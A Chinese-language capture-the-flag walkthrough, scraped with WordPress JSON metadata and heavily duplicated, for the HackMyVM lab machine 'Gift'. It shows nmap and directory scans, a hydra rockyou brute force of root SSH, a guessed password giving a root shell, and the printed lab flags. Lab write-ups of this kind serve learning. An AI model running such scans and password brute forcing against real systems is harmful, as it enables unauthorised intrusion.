![\"image-20240316011250568\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403160135579.png\")
<\/div><\/p>\n\u626b\u63cf\u4e00\u4e0b\uff0c\u6b63\u5e38\uff0c\u5f00\u6de6\uff01<\/p>\n
![\"image-20240316011345266\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403160135580.png\")
<\/div><\/p>\n\u4fe1\u606f\u641c\u96c6<\/h2>\n\u7aef\u53e3\u626b\u63cf<\/h3>\nsudo nmap -p- -Pn -sS 10.161.61.135<\/code><\/pre>\n\u521a\u505a\u5b8cAzer<\/code>\uff0c\u6709\u70b9\u4e00\u671d\u88ab\u86c7\u54ac\uff0c\u5341\u5e74\u6015\u4e95\u7ef3\u7684\u611f\u89c9\uff0c\u54c8\u54c8\u54c8\u3002\u3002<\/p>\nStarting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2024-03-15 13:18 EDT\nNmap scan report for 10.161.61.135\nHost is up (0.00079s latency).\nNot shown: 65533 closed tcp ports (reset)\nPORT STATE SERVICE\n22\/tcp open ssh\n80\/tcp open http\nMAC Address: 00:0C:29:F1:BD:13 (VMware)\n\nNmap done: 1 IP address (1 host up) scanned in 8.79 seconds<\/code><\/pre>\n\u76ee\u5f55\u626b\u63cf<\/h3>\ndirb http:\/\/10.161.61.135<\/code><\/pre>\n-----------------\nDIRB v2.22 \nBy The Dark Raver\n-----------------\nSTART_TIME: Fri Mar 15 13:19:53 2024\nURL_BASE: http:\/\/10.161.61.135\/\nWORDLIST_FILES: \/usr\/share\/dirb\/wordlists\/common.txt\n-----------------\nGENERATED WORDS: 4612 \n---- Scanning URL: http:\/\/10.161.61.135\/ ----\n+ http:\/\/10.161.61.135\/index.html (CODE:200|SIZE:57)\n-----------------\nEND_TIME: Fri Mar 15 13:19:56 2024\nDOWNLOADED: 4612 - FOUND: 1<\/code><\/pre>\n\u7ed3\u679c\u5e76\u4e0d\u4ee4\u4eba\u6ee1\u610f\uff0c\u6362\u4e00\u4e2a\u8bd5\u8bd5\u3002<\/p>\n
gobuster dir -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -u http:\/\/10.161.61.135 -f -t 200<\/code><\/pre>\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url: http:\/\/10.161.61.135\n[+] Method: GET\n[+] Threads: 200\n[+] Wordlist: \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes: 404\n[+] User Agent: gobuster\/3.6\n[+] Add Slash: true\n[+] Timeout: 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\nProgress: 220560 \/ 220561 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n\u83b7\u53d6flag<\/h2>\n
\u602a\u4e0d\u5f97\u53ebGift\uff0c\u6253\u5f00\u9875\u9762\u4ee5\u540e\u53d1\u73b0\uff1a<\/p>\n
![\"image-20240316012547831\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/p>\n\u67e5\u770b\u6e90\u4ee3\u7801\uff1a<\/p>\n
Dont Overthink. Really, Its simple.\n <!-- Trust me --><\/code><\/pre>\n\u67e5\u770b\u654f\u611f\u76ee\u5f55\uff0c\u4e00\u65e0\u6240\u83b7\u3002<\/p>\n
\u65e0\u8111\u4e00\u6ce2\uff0c\u5c1d\u8bd5rockyou<\/code>\u5b57\u5178\u7206\u7834ssh\uff1a<\/p>\nsudo hydra -l root -P \/usr\/share\/wordlists\/rockyou.txt -F ssh:\/\/10.161.61.135<\/code><\/pre>\n\u7206\u7834\u8fc7\u7a0b\u4e2d\u624b\u52a8\u8fde\u63a5\u4e00\u4e0bssh\uff0c\u968f\u4fbf\u5c1d\u8bd5\u4e00\u4e9b\u7b80\u5355\u5bc6\u7801\uff1a<\/p>\n
Trust me\nDont Overthink. Really, Its simple.\nsimple<\/code><\/pre>\n\u7ed3\u679c\u8fdb\u53bb\u4e86\u3002\u3002\u3002\u3002\u3002\u8fd8\u6ca1\u7206\u7834\u5b8c\u5462\u3002<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp]\n\u2514\u2500$ ssh root@10.161.61.135 \nThe authenticity of host '10.161.61.135 (10.161.61.135)' can't be established.\nED25519 key fingerprint is SHA256:dXsAE5SaInFUaPinoxhcuNloPhb2\/x2JhoGVdcF8Y6I.\nThis key is not known by any other names.\nAre you sure you want to continue connecting (yes\/no\/[fingerprint])? yes\nWarning: Permanently added '10.161.61.135' (ED25519) to the list of known hosts.\nroot@10.161.61.135's password: \nPermission denied, please try again.\nroot@10.161.61.135's password: \nPermission denied, please try again.\nroot@10.161.61.135's password: \nIM AN SSH SERVER\ngift:~# whoami;id\nroot\nuid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\ngift:~# ls -la\ntotal 20\ndrwx------ 2 root root 4096 Sep 24 2020 .\ndrwxr-xr-x 22 root root 4096 Sep 18 2020 ..\n-rw------- 1 root root 26 Mar 15 17:33 .ash_history\n---------- 1 root root 12 Sep 24 2020 root.txt\n-rw-rw---- 1 root root 12 Sep 24 2020 user.txt\ngift:~# cat root.txt\nHMVtyr543FG\ngift:~# cat user.txt\nHMV665sXzDS<\/code><\/pre>\n\u540e\u6765\u7206\u7834\u7ed3\u679c\u51fa\u6765\u4e86\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ sudo hydra -l root -P \/usr\/share\/wordlists\/rockyou.txt -F ssh:\/\/10.161.61.135\nHydra v9.5 (c) 2023 by van Hauser\/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2024-03-15 13:29:21\n[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4\n[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1\/p:14344399), ~896525 tries per task\n[DATA] attacking ssh:\/\/10.161.61.135:22\/\n[STATUS] 146.00 tries\/min, 146 tries in 00:01h, 14344256 to do in 1637:29h, 13 active\n[22][ssh] host: 10.161.61.135 login: root password: simple\n[STATUS] attack finished for 10.161.61.135 (valid pair found)\n1 of 1 target successfully completed, 1 valid password found\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2024-03-15 13:32:09<\/code><\/pre>\n\u8bb0\u5f55\u4e00\u4e0b\u5427\uff0c\u771f\u597d\uff01<\/p>\n","protected":false},"excerpt":{"rendered":"
Gift \u626b\u63cf\u4e00\u4e0b\uff0c\u6b63\u5e38\uff0c\u5f00\u6de6\uff01 \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf sudo nmap -p- -Pn -sS 10.161 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[18],"tags":[],"class_list":["post-401","post","type-post","status-publish","format-standard","hentry","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/401","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=401"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/401\/revisions"}],"predecessor-version":[{"id":402,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/401\/revisions\/402"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=401"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=401"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=401"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
sudo nmap -p- -Pn -sS 10.161.61.135<\/code><\/pre>\n\u521a\u505a\u5b8cAzer<\/code>\uff0c\u6709\u70b9\u4e00\u671d\u88ab\u86c7\u54ac\uff0c\u5341\u5e74\u6015\u4e95\u7ef3\u7684\u611f\u89c9\uff0c\u54c8\u54c8\u54c8\u3002\u3002<\/p>\nStarting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2024-03-15 13:18 EDT\nNmap scan report for 10.161.61.135\nHost is up (0.00079s latency).\nNot shown: 65533 closed tcp ports (reset)\nPORT STATE SERVICE\n22\/tcp open ssh\n80\/tcp open http\nMAC Address: 00:0C:29:F1:BD:13 (VMware)\n\nNmap done: 1 IP address (1 host up) scanned in 8.79 seconds<\/code><\/pre>\n\u76ee\u5f55\u626b\u63cf<\/h3>\ndirb http:\/\/10.161.61.135<\/code><\/pre>\n-----------------\nDIRB v2.22 \nBy The Dark Raver\n-----------------\nSTART_TIME: Fri Mar 15 13:19:53 2024\nURL_BASE: http:\/\/10.161.61.135\/\nWORDLIST_FILES: \/usr\/share\/dirb\/wordlists\/common.txt\n-----------------\nGENERATED WORDS: 4612 \n---- Scanning URL: http:\/\/10.161.61.135\/ ----\n+ http:\/\/10.161.61.135\/index.html (CODE:200|SIZE:57)\n-----------------\nEND_TIME: Fri Mar 15 13:19:56 2024\nDOWNLOADED: 4612 - FOUND: 1<\/code><\/pre>\n\u7ed3\u679c\u5e76\u4e0d\u4ee4\u4eba\u6ee1\u610f\uff0c\u6362\u4e00\u4e2a\u8bd5\u8bd5\u3002<\/p>\n
gobuster dir -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -u http:\/\/10.161.61.135 -f -t 200<\/code><\/pre>\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url: http:\/\/10.161.61.135\n[+] Method: GET\n[+] Threads: 200\n[+] Wordlist: \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes: 404\n[+] User Agent: gobuster\/3.6\n[+] Add Slash: true\n[+] Timeout: 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\nProgress: 220560 \/ 220561 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n\u83b7\u53d6flag<\/h2>\n
\u602a\u4e0d\u5f97\u53ebGift\uff0c\u6253\u5f00\u9875\u9762\u4ee5\u540e\u53d1\u73b0\uff1a<\/p>\n
<\/div><\/p>\n\u67e5\u770b\u6e90\u4ee3\u7801\uff1a<\/p>\n
Dont Overthink. Really, Its simple.\n <!-- Trust me --><\/code><\/pre>\n\u67e5\u770b\u654f\u611f\u76ee\u5f55\uff0c\u4e00\u65e0\u6240\u83b7\u3002<\/p>\n
\u65e0\u8111\u4e00\u6ce2\uff0c\u5c1d\u8bd5rockyou<\/code>\u5b57\u5178\u7206\u7834ssh\uff1a<\/p>\nsudo hydra -l root -P \/usr\/share\/wordlists\/rockyou.txt -F ssh:\/\/10.161.61.135<\/code><\/pre>\n\u7206\u7834\u8fc7\u7a0b\u4e2d\u624b\u52a8\u8fde\u63a5\u4e00\u4e0bssh\uff0c\u968f\u4fbf\u5c1d\u8bd5\u4e00\u4e9b\u7b80\u5355\u5bc6\u7801\uff1a<\/p>\n
Trust me\nDont Overthink. Really, Its simple.\nsimple<\/code><\/pre>\n\u7ed3\u679c\u8fdb\u53bb\u4e86\u3002\u3002\u3002\u3002\u3002\u8fd8\u6ca1\u7206\u7834\u5b8c\u5462\u3002<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp]\n\u2514\u2500$ ssh root@10.161.61.135 \nThe authenticity of host '10.161.61.135 (10.161.61.135)' can't be established.\nED25519 key fingerprint is SHA256:dXsAE5SaInFUaPinoxhcuNloPhb2\/x2JhoGVdcF8Y6I.\nThis key is not known by any other names.\nAre you sure you want to continue connecting (yes\/no\/[fingerprint])? yes\nWarning: Permanently added '10.161.61.135' (ED25519) to the list of known hosts.\nroot@10.161.61.135's password: \nPermission denied, please try again.\nroot@10.161.61.135's password: \nPermission denied, please try again.\nroot@10.161.61.135's password: \nIM AN SSH SERVER\ngift:~# whoami;id\nroot\nuid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\ngift:~# ls -la\ntotal 20\ndrwx------ 2 root root 4096 Sep 24 2020 .\ndrwxr-xr-x 22 root root 4096 Sep 18 2020 ..\n-rw------- 1 root root 26 Mar 15 17:33 .ash_history\n---------- 1 root root 12 Sep 24 2020 root.txt\n-rw-rw---- 1 root root 12 Sep 24 2020 user.txt\ngift:~# cat root.txt\nHMVtyr543FG\ngift:~# cat user.txt\nHMV665sXzDS<\/code><\/pre>\n\u540e\u6765\u7206\u7834\u7ed3\u679c\u51fa\u6765\u4e86\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ sudo hydra -l root -P \/usr\/share\/wordlists\/rockyou.txt -F ssh:\/\/10.161.61.135\nHydra v9.5 (c) 2023 by van Hauser\/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2024-03-15 13:29:21\n[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4\n[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1\/p:14344399), ~896525 tries per task\n[DATA] attacking ssh:\/\/10.161.61.135:22\/\n[STATUS] 146.00 tries\/min, 146 tries in 00:01h, 14344256 to do in 1637:29h, 13 active\n[22][ssh] host: 10.161.61.135 login: root password: simple\n[STATUS] attack finished for 10.161.61.135 (valid pair found)\n1 of 1 target successfully completed, 1 valid password found\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2024-03-15 13:32:09<\/code><\/pre>\n\u8bb0\u5f55\u4e00\u4e0b\u5427\uff0c\u771f\u597d\uff01<\/p>\n","protected":false},"excerpt":{"rendered":"
Gift \u626b\u63cf\u4e00\u4e0b\uff0c\u6b63\u5e38\uff0c\u5f00\u6de6\uff01 \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf sudo nmap -p- -Pn -sS 10.161 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[18],"tags":[],"class_list":["post-401","post","type-post","status-publish","format-standard","hentry","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/401","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=401"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/401\/revisions"}],"predecessor-version":[{"id":402,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/401\/revisions\/402"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=401"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=401"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=401"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
![\"image-20240316012547831\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403160135582.png\")
<\/div><\/p>\n